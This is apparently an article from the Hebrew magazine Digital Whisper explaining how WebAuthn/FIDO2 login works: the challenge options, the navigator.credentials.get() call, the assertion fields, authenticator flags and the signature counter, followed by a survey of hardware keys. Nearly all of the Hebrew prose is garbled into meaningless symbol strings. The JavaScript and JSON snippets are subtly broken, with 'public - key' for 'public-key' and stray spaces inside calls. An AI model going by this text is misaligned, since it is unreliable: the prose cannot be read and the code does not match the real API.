˥ˣ˵˪ˢ ύ˭˲ˡ˲ˡˢ ΦόπsRP ˪˟˵ˬ ˸˞ ˢ˷˵˟ˢ ˥˪ˣ˷ˣ challenge ˡˣˬ˴˟ ˰ˡ˧ˬ˪ ˪˰ sπRP )ˢ˶ˣ˴˟ ˢˬˣˡ ˪˞ ˟˪˷ 

˫ˣ˷˧˶ˢ Φό˭˲ˡ˲ˡˢ ˸ˬ˞ˬ ˸˞ ˰ˡ˧ˬˢ ˪˟˧˵˷ ˥˪ˣ˷ˣ ˯ˬ ϥ˫˧˶˦ˬ˶˲ ύ˸˞ sπrp.id Σhash ˪˷ sπchallenge 

˭˧˧ˬˣˡˢˣ ό˪˞ ˶˧˷˩ˬ ˸ˣˬ˧˞ˢ Φ˸ˬ˞ˬˢ ˪˟˵ˬ ˸˞ ˰ˡ˧ˬˢ Σ˰˴˟ˬ ˸ˣˬ˧˞ ˧˪˞˵ˣ˪ ˷ˬ˸˷ˬ˪ ύPIN, fingerprint 

ˣ˩ˣ Σόϥ˶˥˞˪ ˭˩ˬ ˵ˡˣ˟ ˞ˣˢ˷ ˭˩˞ ˶˴˧ ˶˟˰˟ ˡˬ˴ ˸ˣ˥˸˲ˬ ˶ˣ˟˰ ˣ˸ˣ˞ RP Σˢ˪˰ˬ ˸˞ ˢˮˣˬˢ ˧˪˞˵ˣ˪ˢ ˟πм 

ύ˟˧˥˶ˮ ˪˰ ˦˵˲˯˞ ˢˤ ˨˷ˬˢ˟ όˤ˞ˣ ˶˴ˣ˧ ˢˬ˧˸˥ ˪˰ sπAssertion ˢ˸ˣ˞ ˞ˣˢ ˶˧ˤ˥ˬ ˪˞ ˭˲ˡ˲ˡˢ Φ˭˲ˡ˲ˡˢ 

ύ˶˷˞ ˢˣˣˢˬ ˸˞ ˸ˮ˩ˣ˸ ˥ˣ˵˪ˢ ˪˷ WebAuthn ό˶˧˟˰ˬ ˸˞ ˢˬ˧˸˥ˢ ˪˰ sπAssertion ˡˣˬ˴˟ ˰ˡ˧ˬ˪ ˪˰ 

˸ˬ˞ˬˢ ˪˞ sπRP Φ˟˪˷˟ ˢˤˢ sπRP ˟˧˪˴ˬ ˭˧˟ ˫˷ ˷ˬ˸˷ˬˢ ˪˞ ˥˸˲ˬˢ ˧˶ˣ˟˧˴ˢ ˭˩ˣ˷˷ ˣ˪˴˞ ˟πDB Σ˵ˡˣ˟ 

ˢˮˣˬˢ˷ ˪˟˧˵˷ ˪ˣˡˠ ˢˮˣˬˢˬ ˫˧˧˵˷ ˣ˪˴˞ Σ˥ˮ˰˲ˬ ˸˞ sπAssertion ˵˶ˣ ˤ˞ ˰˧ˡˣˬ ˪˰ ˫ˣ˧˯ ˥˪˴ˣˬ ˪˷ 

˨˧˪ˢ˸ ˸ˣˬ˧˞ˢ Φˢˡ˧ˬ˟ ˟˪˷ˣ ˡ˥˞ ˪˲ˣˮ ˨˶ˡ˟ ύxξx˞ ˶˟˰ ˶˸ˣ˧ ˧ˡ˧ˬ ˭ˬˤ ˭˧˟ ˫˧˪ˣ˞˷˸ˢ ˸ˣ˟ˣ˷˸˪ όπ ˪˩ 

˨˧˪ˢ˸ ˸ˣˬ˧˞ˢ ˪˲ˣˮ ˷˶ˡˮˣ ˫˧˧˵˸ˢ˪ ˟ˣ˷ Φ 

https://webauthn.guide/
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ˢˬ˶ˠ˞˧ˡ ˸˧ˮˣˠ˯˯ ˧˸˶˴˧˷ ˸ˬ˩˯ˬ˷ ˸˞ ˪˪˩ ˨˧˪ˢ˸ˢΥ 

 

ˢ˶ˣ˴˟ ˢˬˣˡ ˵˶˲˪ ˫ˡˣ˵ˢ Σ˪ˣ˪˴ˮ ˪˞ sπFlow ˞˪ˬˢ ˪˷ ˨˧˪ˢ˸ˢ ˪˪ˣ˩ ˶˟˰ˬ ˪˰ ˡˣ˵ˢ ˠ˴˧˧ˬ˷ ˪˩ ˟˪˷ 

ˣ˩ˣ˸˟Φ 

˟˪˷ лΥ 

˸ˮ˩ˣ˸ ˥ˣ˵˪ˢ ύ˭˲ˡ˲ˡˢ ό˸ˬˤˣ˧ ˢ˷˵˟ ˸ˣˬ˧˞˪ ˫˷˟ ˷ˬ˸˷ˬˢ Φ˪ˣ˵ˣ˦ˣ˶˲ˢ ˦ˬ˶ˣ˲ˢˣ ˪˷ ˢ˷˵˟ˢ ˣˤˢ ˫ˢ 

˳ˣ˥ˬ ˫ˣ˥˸˪ ˪˷ Web Authentication API Φ 

˟˪˷ мΥ 

πsRP ˢˮˣ˟ instance ˪˷ PublicKeyCredentialRequestOptions ˶˧ˤ˥ˬˣ ˣ˸ˣ˞ ˪˞ ˸ˮ˩ˣ˸ sπJS ˪˷ ˥ˣ˵˪ˢ Φ

˶ˣˬ˞˩ ˫ˠ ˢ˲ ˪ˣ˵ˣ˦ˣ˶˲ ˸˶ˣ˷˵˸ˢ ˫˰ ˸˶˷ ˞˪ ˢˢˣˤˬ ˢ˧˴˦ˮˬˣ˵ˣˡ˟ ˞ˣˢˣ ˪ˣ˩˧ ˸ˣ˧ˢ˪ REST ˪˰ ˧˟ˠ HTTPS Σ

SOAP ˡˣ˰ˣ Φ˦˵˧˧˟ˣ˞ˢ ˪˧˩ˬ ˸˞ Challenge ˸˞ˣ ˢˡ˷ allowCredentials ˶˷˞ ˪˧˩ˬ ˢˬ˧˷˶ ˪˷ credentials 

ˣˬ˷˶ˮ˷ ˶˟˰˟ ˶˷˞ ˫˧˧ˣ˷˰ ˷ˬ˸˷ˢ˪ ˫ˢ˟ ˸˶ˠ˯ˬ˟ ˨˧˪ˢ˸ ˸ˣˬ˧˞ˢΦ 
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˪˩˸˯ˮ ˪˰ ˸ˬ˩˯ ˦˵˧˧˟ˣ˞ˢ PublicKeyCredentialRequestOptionsΥ 

const publicKeyCredentialRequestOptions = {  

    challenge: Uint8Array. from (  
        randomStringFromServer, c => c. charCodeAt ( 0)),  
    allowCredentials: [{  
        id: Uint8Array. from (  
            credentialId, c => c. charCodeAt ( 0)),  
        type: 'public - key' ,  
        transports: [ 'usb' , 'ble' , 'nfc' ],  
    }],  
    timeout: 60000,  
}  

ˡ˟˪ˬ ˢˡ˷ ˡ˥˞ Σ˸˞ ˟ˣ˶ ˸ˣˡ˷ˢ ˶˟˩ ˣˮ˶˟˯ˢ ˵˶˲˟ ˫ˡˣ˵ˢ ˸˶ˠ˯ˬ˟ ˨˧˪ˢ˸ ˫ˣ˷˧˶ˢΦ 

allowCredentials Υ˨˶˰ˬ ˶˷˞ ˪˧˩ˬ ˸ˣ˧˴˲ˣ˞ ˭ˢ˧˲˪ ˸˶˷ˢ ˢ˧ˢ ˢ˴ˣ˶ ˥ˣ˵˪ˢ˷ ύ˭˲ˡ˲ˡˢ όˢˢˡˤ˧ 

˭˸ˣ˰˴ˬ˞˟ ΦπscredentialId ˶ˬ˷ˮ˷ ˸˶ˠ˯ˬ˟ ˨˧˪ˢ˸ ˫ˣ˷˧˶ˢ ˥˪˷ˮ ˸˰˩ Φˣˬ˩ ˭˩ Σ˸˶˷ˢ ˪ˣ˩˧ ˭˧˧˴˪ ˸ˣ˰˴ˬ˞˟ 

˨˶˰ˬ transport ˣ˪˧˞˟ ˸ˣ˦˧˷ ˢ˶ˣ˟˰˸ ˞ˣˢ ˨ˬˣ˸Φ 

˫˷˪ ˢˬˠˣˡˢ Σ˫˞ ˶˥˟ˮ ˶˯˶˲˪ ˦˵˧˧˟ˣ˞ PublicKeyCredentialRequestOptions ˞ˣˢ ˢ˞˶˧ ˢ˶ˣ˴˟ ˢ˞˟ˢΥ 

ˢ˶˰ˢΥ ˵˷ˬˬ˟ sπWebAuthn API ˪˩ ˫˧˶˦ˬ˶˲ˢ ˫˧˧˶˞ˮ˧˟ˢ ύid, challenge ˡ˩ˣ όϥ˫ˢ Uint8Array ˶˷˞ 

˫˧ˠ˴˧˧ˬ offset ˶ˣ˟˰ ˯ˮ˶˲˶ ˪˷ ˫ˣ˵˧ˬ ˟πArrayBuffer Φ˧˩˶˴˪ ˞˧˶˵ ˸˶˧˟˰ˮ ˫˸ˣ˞ ˦ˬ˶ˣ˲˪ Base64 ˪˟˞ 

˟ˣ˷˥ ˭˧˟ˢ˪ ˢˤ˷ ˣˮ˧˞ ˦ˬ˶ˣ˲ˢ ˧˸˧ˬ˞ˢ ˫ˢ˪˷ ˭ˬˤ˟ ˢ˶ˣ˟˰˸ˢ Φ˭˸˧ˮ ˞ˣ˶˵˪ ˪˰ ˪ˡ˟ˢˢ ˧ˮˣ˷ˢˣ ˶ˣ˷˧˵˟ ˞˟ˢΦ 

{  

  "publicKey" : {  
    "allowCredentials" : [  
      {  
        "id" : "X9FrwMfmzj..." ,  
        "type" : "public - key" ,  
  "transports" : [ "usb" , "ble" , "nfc" ],  
      }  
    ],  
    "challenge" : "kYhXBWX0HO5GstIS02yPJVhiZ0jZLH7PpC4tzJI- ZcA=",  
    "rpId" : "digitalwhisper.co.il" ,  
    "timeout" : 60000,  
    "userVerification" : "discouraged"  
  }  
}  

˶ˣˬ˞˩ Σ˸˞ ˪˩ ˸ˣˡ˷ˢ ˫˸˶˦ˬˣ ˣˮ˶˟˯ˢ ˫˧ˡˣˬ˰˟ ˫˧ˬˡˣ˵Φ 

˟˪˷ нΥ 

πsclient JavaScript ˞˶ˣ˵ ˪πnavigator.credentials.get() Σˢ˪ˣ˰˲ xʕ ˶ˤ˥˷˸ ˸˞ sπcredential ˶˴ˣˮ˷ ˟˪˷˟ 

˫ˣ˷˧˶ˢ ˫˰ ˢˬ˧˸˥ˢ Φ˭˲ˡ˲ˡˢ ˞ˡˣˣˬ ˧˩ sπrp.id ˭˩˞ ˫˞ˣ˸ ˪˞ sπorigin ˭˧ˣ˴˷ Σ˰˴˟ˬ hash ˪˰ ˦˵˧˧˟ˣ˞ sπ

clientData ˤ˞ˣ ˞˶ˣ˵ ˸ˡˣ˦ˬ˪  authenticatorGetAssertionΦ 

const credential = await navigator .credentials. get ({  

    publicKey: publicKeyCredentialRequestOptions  
});  

 

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer
https://stackoverflow.com/questions/42416783/where-to-use-arraybuffer-vs-typed-array-in-javascript
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ˣˡˣ˞˯˲ ˡˣ˵ ˪˷ ˸˧˧˴˵ˮˣ˲ get() ˢ˞˶˧ ˢ˶ˣ˴˟ ˢ˞˟ˢΥ 

navigator .credentials. get ({  

  publicKey: publicKeyCredentialRequestOptions}). then (( res ) => {  
  var json = publicKeyCredentialToJSON (res);  
 
  // Send data to relying party's servers  
  post ( '/digitalwhisper/authenticate' , {  
    state: '<%= state %>' ,  
    provider: '<%= provider %>' ,  
    res: JSON. stringify (json)  
  });  
}). catch ( err => {  
  alert ( 'Invalid FIDO device' );  
});  

 

˟˪˷ оΥ 

˫˧˶˦ˬ˶˲ˢ ˪˷ ˸˞˧˶˵ get() ˫˧˥˪˷ˮ ˸ˬ˞ˬ˪ ˡˣˬ˴˟ ˪π256 hash-SHA ˪˷ ˢˡ˷ sπclinetDataJSON ύ˱˩˸ 

ˢ˞˶ˮ ˡ˴˧˩ ˞ˣˢ ˧ˣˮ˟ Φό˶ˣˬ˞˩ Σˢ˟˧˯ˢ ˥˪˷ˮ˷ ˵˶ ˟ˣ˟˧ˠˢ ˪˷ ˭˩ˣ˸ ˰ˡ˧ˬˢ ˞˪ˣ ˪˩ ˭˩ˣ˸ˢ ˣˬ˴˰ ˢˤ ˭ˣˣ˧˩ˬ 

˫˧˥˵ˣ˪˷ ˭ˣ˟˷˥˟ ˥ˣˣ˦ˢ˷ ˭˧˟ ˭˲ˡ˲ˡˢ ˸ˬ˞ˬ˪ ˯˯ˣ˟ˬ ˪˰ ˸ˣ˧ˠˣ˪ˣˮ˩˦ ˫˰ Bandwidth ˨ˣˬˮ ˣˬ˩ Bluetooth, 

NFC ˪˩˟ˣ ˢ˶˵ˬ ˪˩ ˢˬ ˸ˬ˞ˬˢ˷ ˢ˷ˣ˰ ˢˤ ˵˶ ˫ˣ˸˥˪ ˪˰ sπhash ˪˧˟˷˟ ˞ˡˣˣ˪ ˫˧ˬ˶ˣˠ˷ ˫˧˧ˮˣ˴˧˥ ˞˪ ˣˮ˷˧ 

ˣ˸ˣ˞Φ 

˸ˬ˞ˬˢ ˞˴ˣˬ ˸˞ sπcredential ˫˧˞˸ˬ˷ ˪˞ rp.id ύ˧˶˵ Σˡˬ˴ ˸ˣ˥˸˲ˬˢ ˣ˶˴ˣˮ˷ ˪ˣˬ ˶˸˞ ˧˦ˮ˶˦ˮ˧˞ 

˧˲˧˴˲˯ ό˳˧˲˵ˬˣ ˷ˬ˸˷ˬ˪ ˢ˷˵˟ ˶ˣ˷˧˞˪ ˨˧˪ˢ˸ˢ Φˢ˥ˮˢ˟ ˣ˪˞˷ ˣ˷˥˶˸ˢ ˢ˶ˣ˴˟ ˸˥˪˴ˣˬ Σ˸ˬ˞ˬˢ ˶˴ˣ˧ 

assertion ύˢˮ˰˦ όˢ˷ˡ˥ ˪˰ ˧ˡ˧ ˨˩ ˞ˣˢ˷ ˫˸ˣ˥ ˪˰ clientDataHash xπauthenticatorData  ˫˰ ˥˸˲ˬˢ 

˧˦˶˲ˢ ˶˴ˣˮ˷ ˪˧˟˷˟ ˣ˸ˣ˞ ˭ˣ˟˷˥ ˨˪ˢˬ˟ ˨˧˪ˢ˸ ˫ˣ˷˧˶ˢ Φ 

˟˪˷ пΥ 

˸ˬ˞ˬˢ ˶˧ˤ˥ˬ ˸˞ ˸ˬ˧˸˥ sπassertion ˸˞ˣ authenticatorData ˪˞ ˭˲ˡ˲ˡˢΦ 

ˢˬˣˡ˟ ˨˧˪ˢ˸˪ ˢˬ˷˶ˢˢ Σ˦˵˧˧˟ˣ˞ sπassertion ˶˧ˤ˥ˬ ˫ˠ ˦˵˧˧˟ˣ˞ PublicKeyCredential ˪˟˞ ˞ˣˢ ˢˮˣ˷ 

˸˴˵ˬ˟ π ˸˰˩ ˢˡ˷ signature ˱˧˪˥ˢ ˸˞ ˢˡ˷ sπpublicKeyObjectΦ 

const assertion = await navigator .credentials. get ({  

    publicKey: publicKeyCredentialRequestOptions  
});  

˟˪˷ рΥ 

πspromise ύ˨ˣ˧˷ ˢ˪ˣ˰˲ˢ ˞ˢπ˸˧ˮˣ˩ˮ˧˯ ˡ˴˟ ˥ˣ˵˪ ό˪˷ navigator.credentials.get() ˪˟˵˸˧ ˦˵˧˧˟ˣ˞˩ 

PublicKeyCredential ˶˷˞ ˪˧˩ˬ ˸˞ AuthenticatorAssertionResponse ˶ˤ˥ˣˬ˷ ˪˞ sπRP ˫ˣ˧˯˪ ˨˧˪ˢ˸ 

˸ˣˬ˧˞ˢ Φ 
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˦˵˧˧˟ˣ˞assertion  ˶ˡˠˣˬ ˢ˶ˣ˴˟ ˢ˞˟ˢΥ 

console . log (assertion);  

 
PublicKeyCredential {  
    id: 'ADSUllKQmbqdGtpu4sjseh4cg2TxSvrbcHDTBsv4NSSX9...' ,  
    rawId: ArrayBuffer ( 59),  
    response: AuthenticatorAssertionResponse {  
        authenticatorData: ArrayBuffer ( 191),  
        clientDataJSON: ArrayBuffer ( 118),  
        signature: ArrayBuffer ( 70),  
        userHandle: ArrayBuffer ( 10),  
    },  
    type: 'public - key'  
}  

 

˸ˣˡ˷ˢ ˫˧ˮ˧˧ˮ˰ˬ˷ ˣˮ˸ˣ˞ ˫ˢΥ 

¶ authenticatorData Υˢˬˣˡ ˪˞ ˢˡ˷ authData ˪˟˵˸ˢ˷ ˨˪ˢˬ˟ ˨˧˪ˢ˸ ˸ˣˬ˧˞ˢ 

¶ userHandle Υˢˡ˷ ˢˤ ˵˲ˣ˯ˬ ˭˲ˣ˞˟ ˧˪ˮˣ˧˴˲ˣ˞ ˪˰ ˧ˡ˧ ˸ˬ˞ˬˢ ˠ˴˧˧ˬˣ ˸˞ sπuser.id ˵˲ˣ˯˷ ˨˪ˢˬ˟ 

ˢˬ˷˶ˢˢ Φ˭˸˧ˮ ˷ˬ˸˷ˢ˪ x˟ ˧ˡ˩ ˶˷˵˪ ˸˞ sπassertion ˷ˬ˸˷ˬ˪ ˸˶˷˟Φ 

¶ ˪˧˟˷˟ ˭˧˟ˢ˪ ˡ˴˧˩ ˪ˣ˵ˣ˦ˣ˶˲ˢ ˸ϥ˯˪˩ ˡ˟ˣ˰ ˠ˧˴ˮ ˸˞ ˫˧˦˵˧˧˟ˣ˞ˢ ˪˷ authenticatorData xπ

clientDataJSON ˶˸˧˟ ˦ˣ˶˧˲ Φ 

˦˵˧˧˟ˣ˞ authenticatorData ˢˬˠˣˡ˪Υ 

{  

    "authData" : {  
      "flags" : {  
        "AT" : false ,  
        "ED": false ,  
        "UP": true ,  
        "UV": false  
      },  
      "rpIdHash" : "xGzvgq0bVGR3WR0Aiwh1nsPm0uy085R0v- ppaZJdA7c=",  
      "signatureCounter" : 8 
}  

authData Υ˧ˮˣ˸ˮ ˸ˬ˞ˬˢ ˫ˢ byte array ˪˧˩ˬ˷ ˰ˡ˧ˬ ˪˰ ˸˪ˣ˰˲ sπget() Σ˪˪ˣ˩ ˢˬ˧˸˥ˢ Σˢˡ˷ counter xπ

hash ˪˷ sπrp.idΦ 

flags ˫ˮ˷˧ :п :˫˧˪ˠˡ 

¶ AT ˠ˴˧˧ˬ ˫˞ˢ ˸ˬ˞ˬˢ ˱˧˯ˣˢ ˰ˡ˧ˬ ˪˷ attested credential 

¶ ED ˠ˴˧˧ˬ ˫˞ ˸ˬ˞ˬˢ ˷ˬ˸˷ˬ ˸ˣ˟˥˶ˢ˟ 

¶ UP ˠ˴˧˧ˬ ˫˞ ˷ˬ˸˷ˬˢ ˥˩ˣˮ ˨˧˪ˢ˸˟ ύ˧˶˵ Σ˞˪ ˢ˧˴ˬˣ˦ˣ˞ ˸ˣˬ˧˞˪ό 

¶ UV ˠ˴˧˧ˬ ˫˞ ˷ˬ˸˷ˬˢ ˶˟˰ ˸ˣˬ˧˞ ύPIN x˞ ˧˶˦ˬˣ˧˟ό 

signatureCounterΥ ˶ˣ˟˰ ˪˩ ˶ˣˤ˥ˬ ˥˪˴ˣˬ ˪˷ ˸ˣˬ˧˞ ύ˰˴ˣ˟˷ ˪˰ ˧ˡ˧ ˸˧˧˴˶˲ˣ˞ 

authenticatorGetAssertion όˢˮˣˬˢ ˢ˪ˣ˰ ˟πм Φˡ˰ˣˮ ˷ˣˬ˧˷˪ ˟πRP ˧ˡ˩ ˣ˪˞˷ ˣ˪˩ˣ˧ ˞ˡˣˣ˪ ˞˪˷ ˶˟ˣˡˬ ˧ˣ˵˧˥˟ 

˪˷ ˸ˬ˞ˬ ύcloned authenticatorsό x˞ ˶˸˧˪ ˵ˣ˧ˡ ˧ˣ˵˧˥ ˪˷ ˥˸˲ˬˢ ύcloned keys Φό˨˶ˡˢ ˢ˟ ˢˤ ˡ˟ˣ˰ ˞˧ˢ 

ˢ˦ˣ˷˲ π ˢˡ˧ˬ˟ ˧ˣ˵˧˥ˢˣ ˫˪˷ˣˬ ˣ˧ˢ˧ x˪ ˸˞ ˪˩ ˫˧ˮˣ˸ˮˢ ˪˷ ˶˟˰ˢ ˪˟˞ ˞˪ ˪˷ ˡ˧˸˰ˢ Φ˪˰ ˧ˡ˧ ˷ˣˬ˧˷ ˢˡ˷˟ 
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˪˷ ˢˮˣˬ ˣ˸˪˰ˢˣ ˪˩˟ ˨˧˪ˢ˸ ˸ˣˬ˧˞ Σ˸˶˷ RP ˪˩ˣ˧ ύ˪˞˧˴ˮ˦ˣ˲˟ ό˸ˣˢˤ˪ ˧˸ˬ ˞ˣˢ ˪˟˵ˬ ˸˞ ˣ˸ˣ˞ ˥˸˲ˬ ˪˟˞ 

˫˰ counter ˭˦˵ ˶˸ˣ˧ π ˰ˬ˷ˬ ˣˢ˷˧ˬ ˪˲˩˷ ˸˞ ˥˸˲ˬ ˸ˣˬ˧˞ˢ Φ˞˪ ˭˸˧ˮ ˸˰ˡ˪ ˢˤ˧˞ ˥˸˲ˬ ˞ˣˢ ˵˸˰ˢˢ 

ˢˤ˧˞ˣ ˧˶ˣ˵ˬˢ ˪˟˞ ˢˤ ˦˪˥ˢ˟ ˵˧˲˯ˬ ˪˧˟˷˟ ˰˧˶˸ˢ˪ ˸˶˷˪ ˷ˬ˸˷ˬ˪ˣ Σ˪ˣ˰ˮ˪ ˸˞ ˷ˣˬ˧˷ˢ ˥˸˲ˬ˟ 

˶ˣ˟˰˪ˣ ˸ˣ˲ˣ˪˥˪ ˸ˣˬ˧˞ ˸ˣ˶˥˞ ύ˥˸˲ˬ ˱˯ˣˮ ˣ˩ˣ Φόϥ 

˦˵˧˧˟ˣ˞ clientDataJSONΥ 

{  

  "challenge" : "kYhXBWX0HO5GstIS02yPJVhiZ0jZLH7PpC4tzJI- ZcA",  
  "origin" : "https://digitalwhisper.co.il" ,  
  "type" : "webauthn.get"  

}˦˵˧˧˟ˣ˞ˢ ˪˧˩ˬ ˸˞ ˶ˠ˸˞ˢ ˥˪˷ˮ˷ ˬπRP Σ˸˞ ˶ˣ˵ˬ ˭˧˧ˬˣˡˢ ˣ˪˷ ˸˞ˣ ˠˣ˯ ˢ˪ˣ˰˲ˢ ˢ˰˴ˣ˟˷Φ 

 

˟˪˷ сΥ 

˫˰ ˸˪˟˵ ˢ˟ˣ˷˸ˢ ˪˷ ˸˷˵˟ ˸ˣˬ˧˞ˢ Σ˸˶˷ˢ ˸ˬ˞ˬ ˸˞ ˸ˣˡ˷ˢ ˫˧ˮˣ˷ ˢ˷˵˟˟˷ ˪˰ ˧ˡ˧Υ 

¶ ˸ˣˬ˧˞ ˸ˬ˧˸˥ ˸ˬ˞ˬˢ ˪˰ ˧ˡ˧ ˷ˣˬ˧˷ ˥˸˲ˬ˟ ˧˶ˣ˟˧˴ˢ ˢ˧ˢ˷ ˭˯˥ˣ˞ˬ ˣ˪˴˞ ˨˧˪ˢ˸ˬ ˫ˣ˷˧˶ˢ 

¶ ˞ˣˡ˧ˣ ˧˩ ˶ˠ˸˞ˢ ˫ˣ˸˥˷ ˪˰ ˧ˡ˧ ˸ˬ˞ˬˢ ˢˢˤ ˭˩ˣ˸˟ ˣ˪˷ ˶ˠ˸˞˪ ˥˪˷ˮ˷ ˸˶˷ˢˬ 

¶ ˸ˣˬ˧˞ ˨˶˰˷ sπRP ID ˫˧˞˸ˬ ˢˬ˪ ˞ˣˢ˷ ˶˯ˬΦ 

˶ˣ˧˞ ˪˷ ˢ˧˴˦ˮˬˣ˵ˣˡˢ ˫˩˯ˬ˷ ˸˞ ˪˩ˢ ˢ˶ˣ˴˟ ˢ˷˟˧ ˪˟˞ ˸˶ˡˣ˯ˬΥ 

 

ϐ˶ˣ˵ˬ π W3C WebAuthn Athentication Flow Figure ώ 

 

https://www.w3.org/TR/webauthn/images/webauthn-authentication-flow-01.svg
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˧˰˴ˬ˞ ˧ˣˢ˧ˤ π  All About Authenticators 

˸˟˧˪ ˢˮ˰ˬ ˢˮˠˢˢ ˪˷ FIDO2 ˞ˣˢ ˧˰˴ˬ˞ ˧ˣˢ˧ˤˢ ˣ˪ˣˬ ˸˰˴˟˸ˬ ˸ˣˢˡˤˢ ˷ˬ˸˷ˬˢ ˣ˧˪˰ˣ ˫˧˶ˣˬ˷ 

˸ˣ˥˸˲ˬˢ Φϥ˸˸ˬ˞ ˢˤ ˞˷ˣˮ ˪˩ ˨˩ ˟ˣ˷˥ ˷ˡˣ˥˷ ˞˟ˢ ˷˧ˡ˵˞ x˪ ˶ˬ˞ˬ ˧ˮ˲˟ ˣˬ˴˰ Φ˸˶˦ˬ ˵˶˲ˢ ˟ˣ˶˵ˢ 

˸˸˪ ˸˴˵ ˶˸ˣ˧ ˢ˵ˬ˰ˢ ˞˷ˣˮ˟ ˮˢϦ˪ ˧ˠˣ˯˟ˣ ˫˧˸ˬ˞ˬˢ ˫˧ˬ˧˧˵˷ ˫ˣ˧ˢ ˵ˣ˷˟ Φ˧˪˪˩˟ Σ˭˸˧ˮ ˭˧˥˟ˢ˪ ˭˧˟ н ˫˧ˠˣ˯ 

˪˷ ˧˰˴ˬ˞ ˧ˣˢ˧ˤ Υ 

¶ ˫˧˰˴ˬ˞ ˧˯˯ˣ˟ˬ ˢ˶ˬˣ˥ π ˢ˶ˬˣ˥ ˸˧ˡˣ˰˧˧ ˸ˡ˰ˣ˧ˬ˷ ˧˩˶˴˪ ˸ˣˢˡˤˢ ˢ˧˪˰ˣ ˫˧˶ˣˬ˷ ˸ˣ˥˸˲ˬˢ ˫˧˶˸˞˪ 

˫˧ˮˣ˷ˢ ˸ˣ˥˸˲ˬˣ ˸ˣˢˡˤˢˢ ˪ˣˬ ˷ˬ˷˸ˬˢ ύˡˣˡ˧˵ ˸˰˧˟˦ ˰˟˴˞ˢ ξ ˧ˣˢ˧ˤ ˫˧ˮ˲ Φό 

¶ ˫˧˰˴ˬ˞ ˧˯˯ˣ˟ˬ ˢˮ˩ˣ˸ π ˫˧˷ˣ˰ ˷ˣˬ˧˷ ˢˬ˶ˣ˲˦˪˲˟ ˸˧ˮˣ˴˧˥ ˢ˧˪˰ ˫˧˶ˬ˷ˮ ˸ˣ˥˸˲ˬˢ Φˢˬˠˣˡˢ 

ˢ˴ˣ˲ˮˢ ˞˧ˢ ˶˧˷˩ˬ ˶˞˪ˣ˪˯ˢ x˞ ˟˷˥ˬˢ ˧˷˧˞ˢ ˪˷ ˷ˬ˸˷˸ˬˢ Σ˞˪ˣ ˧˰˴ˬ˞˟ ˧ˣˢ˧ˤ ˧ˡˣ˰˧˧ Φ 

˫ˮ˷˧ ˸ˣ˶˷˰ ˫˧˶˴ˣˬ ˫˧ˮ˶˴˧ˣ ˫˧˵˲˯ˬ˷ ˸ˣˮˣ˶˸˲ ˸ˣˢˡˤˢ ˧˩ˬˣ˸ FIDO2 ˫ˣ˧ˢ Σ˫ˢ˧ˮ˧˟ ˶˷˲˞ ˸ˣ˞˶˪Υ 

¶ Yubico Two Factor Authentication π ˸˶ˡ˯ ˫˧˶˴ˣˬ ˪˷ ˸˶˟˥ Yubico ˸ˣ˶˷˲˞ˬ˷ ˸ˣˢˡˤˢ 

˸ˣ˰˴ˬ˞˟ ˶ˣ˟˧˥ ˧ˤ˧˲ x˞ ˸˶ˣ˷˵˸ ˸˶˴˵ ˥ˣˣ˦ ύNFC ό˪ˣˬ ˶˧˷˩ˬ sπClient ˣˮˬˬ ˸˰˴˟˸ˬ ˢ˪ˣ˰˲ˢ Φ

ˢˬ˶˟ ˸˧˯˧˯˟ˢ ύˢ˪ˣˤˢˣ ό˸˩ˬ˸ˮ˷ ˰Ϧ˧ ˭˵˸ FIDO2 Σ˧˰˴ˬ˞ ˸ˣˢˡˤˢˢ ˞˪ ˷˶ˡˮ ˨ˣˬ˸˪ ˸ˣˢˡˤˢ˟ 

˸˧˶˦ˬˣ˧˟ Σ˵˲˸˯˧ˣ ˢ˷˵ˢ˟ ˪˰ ˢˢˤˬˢ ˩Ϧˢˣˣ˥ˬ Ϧˡ˴ˬ ˷ˬ˸˷ˬˢ Φ˭ˣ˧˪ˠ˟ ˞˟ˢ ˫˯˶˲ˮ ˶ˬ˞ˬ ˫˪˷ 

˷ˡ˵ˣ˧˷ ˸˶˟˥˪ yubico ˪˯˪ˣ ˧˶˴ˣˬ YubiKey ˢ˪˷Φ 

¶ Thetis FIDO2 Security Key Fingerprint 2FA π ˸˶ˬˣ˥ ˸ˣˢˡˤˢ ˪˷ ˸˶˟˥ Thetis ˸˩ˬˣ˸˷ ˸ˣˢˡˤˢ˟ 

˸˧˶˦ˬˣ˧˟ Φ˶˷˞˩ ˷ˬ˸˷ˬˢ ˢ˴ˣ˶ ˸˷ˠ˪ ˸ˣ˶˧˷˪ Σ˞ˣˢ ˷˶ˡˮ ˵ˣ˶˯˪ ˸˰˧˟˦ ˰˟˴˞ ˧˰˴ˬ˞˟ ˧ˣˢ˧ˤˢ 

˨˶ˣ˴˪ ˸˰ˮ˸ˢ ˨˧˪ˢ˸ ˸ˣˢˡˤˢˢ Φ˭˟ˣˬ˩ ˢ˦˧˷˷ xʕ ˸˥˦˟ˣ˞ˬ ˶˸ˣ˧ ˸˰ˮˣˬˣ ˸ˣˢˡˤˢ ˪˷ ˱˵ˣ˸ ˟ˮˠ˷ ˸˞ 

˧˰˴ˬ˞ sπ2FAΦ 

¶ Passwordless MFA Hypr π ˸˧˧˴˵˧˪˲˞ ˸ˣˢˡˤˢ ˟˷˥ˬ˪ ˰Ϧ˟ ˭ˣ˲˪˦ ˡ˧˧ˮ Φ˶˥˞˪ ˰ˣ˴˧˟ pairing ˧ˮˣ˷˞˶ 

˭˧˟ ˸ˡˬ˰ ˟˷˥ˬˢ ˭ˣ˲˪˦ˢˣ ˪˷ ˶ˤˣ˧ˢ Σ˶˷˞˩ ˷ˬ˸˷ˬˢ ˟˷˥ˬ˟ ˷ˠ˧ˮ ˸ˣ˶˧˷˪ Σ˶˸˞ ˦ˮ˶˦ˮ˧˞ˢ ˰˧ˮ˸˧ 

˨˧˪ˢ˸ ˸ˣˢˡˤˢ ˪ˣˬ ˸˶˷ ˪˷ Hypr ˞ˡˣˣ˧˷ ˸˞ ˸ˣˢˤ ˷ˬ˸˷ˬˢ ˸˶ˤ˰˟ ˭ˣ˲˪˦ˢ ˡ˧˧ˮˢ Φ˷ˬ˸˷ˬˢ ˪˟˵˧ 

